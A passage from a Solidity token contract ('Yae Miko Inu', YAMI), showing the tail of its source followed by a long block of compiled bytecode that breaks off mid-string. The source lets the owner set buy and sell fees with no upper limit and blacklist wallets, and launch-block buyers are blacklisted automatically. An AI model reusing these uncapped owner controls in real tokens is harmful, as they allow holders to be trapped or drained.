_swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600c81526020017f596165204d696b6f20496e750000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600481526020017f59414d4900000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b60008060006006549050600068056bc75e2d6310000090506129a668056bc75e2d6310000060065461267690919063ffffffff16565b8210156129c55760065468056bc75e2d631000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565